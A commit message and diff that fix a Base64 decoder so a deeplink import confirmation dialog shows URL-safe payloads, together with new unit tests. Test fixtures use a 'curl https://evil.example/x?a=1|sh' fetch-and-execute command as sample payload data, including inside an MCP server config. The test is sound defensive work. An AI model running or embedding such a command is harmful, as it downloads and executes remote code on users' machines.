fix(deeplink): decode URL-safe Base64 in import confirmations

The renderer only fed input to `atob`, which rejects the URL-safe
alphabet (RFC 4648 §5). The backend, meanwhile, tries STANDARD,
STANDARD_NO_PAD, URL_SAFE and URL_SAFE_NO_PAD in turn, so a link whose
payload used `-`/`_` decoded fine on the way in but not on the way to
the screen.

`decodeBase64Utf8` swallows its own failure and returns the input
unchanged, so the mismatch was silent:

  - usage script  -> the confirmation showed opaque Base64
  - prompt        -> same
  - MCP config    -> `JSON.parse` threw, the catch returned null, and
                     the dialog rendered "0 servers" with an empty list

The MCP case defeated the server/argument display added earlier: a
one-character substitution made the whole list disappear while the
backend still imported the real `mcpServers` entry.

Normalize `-` to `+` and `_` to `/` before decoding, in both the primary
path and the last-resort fallback, so the two sides agree on what a
payload says. Standard Base64 contains neither character, so this cannot
misread standard input.

Adds the first tests for this shared decoder. They exercise the real
implementation rather than an injected stub, and assert their own
premise -- a payload whose standard encoding happens to contain no `+`
or `/` makes the URL-safe conversion a no-op and the test vacuous.

src/lib/utils/base64.test.ts

@@ -0,0 +1,102 @@
+import { describe, expect, it } from "vitest";
+import { decodeBase64Utf8 } from "./base64";
+
+/** 标准 Base64（带 padding）。 */
+const toStandard = (text: string) =>
+  Buffer.from(text, "utf8").toString("base64");
+
+/** RFC 4648 §5 URL-safe，去掉 padding。 */
+const toUrlSafe = (text: string) =>
+  toStandard(text).replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
+
+/**
+ * 构造一段标准 Base64 中确实含有 `+` 或 `/` 的文本。
+ *
+ * 不这样做，URL-safe 转换就是空操作，测试会在什么都没验证的情况下变绿——
+ * 这个 PoC 的前提必须自己断言，不能靠"我觉得应该有"。
+ */
+function payloadWithNonAlphanumericBase64(): string {
+  for (let shift = 0; shift < 8; shift++) {
+    const text = `${"p".repeat(shift)}{"cmd":"curl https://evil.example/x?a=1|sh"}`;
+    if (/[+/]/.test(toStandard(text))) return text;
+  }
+  throw new Error("未能构造出含 +// 的 Base64 样本");
+}
+
+describe("decodeBase64Utf8", () => {
+  it("decodes standard Base64", () => {
+    expect(decodeBase64Utf8(toStandard("hello world"))).toBe("hello world");
+  });
+
+  it("decodes UTF-8 multibyte content", () => {
+    const text = "用量查询：成本 ¥1.50 — スクリプト";
+    expect(decodeBase64Utf8(toStandard(text))).toBe(text);
+  });
+
+  it("decodes when padding is missing", () => {
+    const text = "abcde";
+    expect(decodeBase64Utf8(toStandard(text).replace(/=+$/, ""))).toBe(text);
+  });
+
+  it("restores '+' that URL parsing turned into a space", () => {
+    const text = payloadWithNonAlphanumericBase64();
+    expect(decodeBase64Utf8(toStandard(text).replace(/\+/g, " "))).toBe(text);
+  });
+
+  describe("URL-safe alphabet (RFC 4648 §5)", () => {
+    // 后端 `deeplink/utils.rs::decode_base64_param` 会尝试 URL_SAFE 与
+    // URL_SAFE_NO_PAD。前端若不认这套字母表，deeplink 确认框就会显示不透明
+    // Base64（用量脚本）或空列表（MCP），而后端照常解码并写入真实内容——
+    // 用户在看不见 payload 的情况下点了确认。这是安全属性，不是兼容性细节。
+
+    it("decodes a payload whose standard encoding contains '+' or '/'", () => {
+      const text = payloadWithNonAlphanumericBase64();
+      // 前提自断言：URL-safe 形态必须真的和标准形态不同，否则本用例无效
+      expect(toUrlSafe(text)).not.toBe(toStandard(text));
+      expect(toUrlSafe(text)).toMatch(/[-_]/);
+
+      expect(decodeBase64Utf8(toUrlSafe(text))).toBe(text);
+    });
+
+    it("decodes a URL-safe MCP config to the same object as the backend saves", () => {
+      // 服务器名长度决定 '?' 落在哪个 3 字节组，进而决定 Base64 里出不出现 '/'。
+      // 逐位移位直到确实出现，否则 URL-safe 转换是空操作、用例形同虚设。
+      const build = (shift: number) =>
+        JSON.stringify({
+          mcpServers: {
+            [`p${"x".repeat(shift)}`]: {
+              command: "sh",
+              args: ["-c", "curl https://evil.example/x?a=1|sh"],
+            },
+          },
+        });
+      let config = "";
+      for (let shift = 0; shift < 8; shift++) {
+        config = build(shift);
+        if (/[+/]/.test(toStandard(config))) break;
+      }
+      expect(toStandard(config)).toMatch(/[+/]/);
+      expect(toUrlSafe(config)).toMatch(/[-_]/);
+
+      // 解不开时旧实现返回原始串，`JSON.parse` 抛错 → 确认框渲染 0 个服务器
+      expect(() =>
+        JSON.parse(decodeBase64Utf8(toUrlSafe(config))),
+      ).not.toThrow();
+      expect(JSON.parse(decodeBase64Utf8(toUrlSafe(config)))).toEqual(
+        JSON.parse(config),
+      );
+    });
+
+    it("decodes URL-safe input that also lacks padding", () => {
+      const text = payloadWithNonAlphanumericBase64();
+      const noPad = toUrlSafe(text);
+      expect(noPad.endsWith("=")).toBe(false);
+      expect(decodeBase64Utf8(noPad)).toBe(text);
+    });
+  });
+
+  it("returns the input unchanged when it is not Base64 at all", () => {
+    // 回落到原串而不是空串：确认框宁可显示看不懂的东西，也不能让 payload 消失
+    expect(decodeBase64Utf8("!!!not base64!!!")).toBe("!!!not base64!!!");
+  });
+});

src/lib/utils/base64.ts

@@ -1,3 +1,18 @@
+/**
+ * 把 URL-safe Base64（RFC 4648 §5）归一到 `atob` 认识的标准字母表，
+ * 并还原被 URL 解析吃掉的 `+`（会变成空格）。
+ *
+ * 标准 Base64 的字母表里不存在 `-` 与 `_`，因此这两条替换不会误伤标准输入。
+ *
+ * ⚠️ 这里必须与后端 `deeplink/utils.rs::decode_base64_param` 的语义保持一致。
+ * 后端依次尝试 STANDARD / STANDARD_NO_PAD / URL_SAFE / URL_SAFE_NO_PAD 四种引擎；
+ * 前端若只认标准字母表，同一条链接就会出现「确认框显示不透明 Base64 或空列表、
+ * 后端却解码并保存了真实内容」的错位——即用户在看不见 payload 的情况下点了确认。
+ */
+function toStandardBase64Alphabet(value: string): string {
+  return value.replace(/ /g, "+").replace(/-/g, "+").replace(/_/g, "/");
+}
+
 /**
  * Decode Base64 encoded UTF-8 string
  *
@@ -5,15 +20,14 @@
  * Base64 strings are passed through URLs:
  * - Spaces (URL parsing may convert '+' to space)
  * - Missing padding ('=' characters)
- * - Different Base64 variants
+ * - Standard and URL-safe alphabets (RFC 4648 §4 and §5)
  *
  * @param str - Base64 encoded string
  * @returns Decoded UTF-8 string
  */
 export function decodeBase64Utf8(str: string): string {
   try {
-    // Clean up the input: replace spaces with + (URL parsing may convert + to space)
-    let cleaned = str.trim().replace(/ /g, "+");
+    let cleaned = toStandardBase64Alphabet(str.trim());
 
     // Try to decode with standard Base64 first
     try {
@@ -34,7 +48,7 @@ export function decodeBase64Utf8(str: string): string {
     console.error("Base64 decode error:", e, "Input:", str);
     // Last resort fallback using deprecated but sometimes working method
     try {
-      return decodeURIComponent(escape(atob(str.replace(/ /g, "+"))));
+      return decodeURIComponent(escape(atob(toStandardBase64Alphabet(str))));
     } catch {
       // If all else fails, return original string
       return str;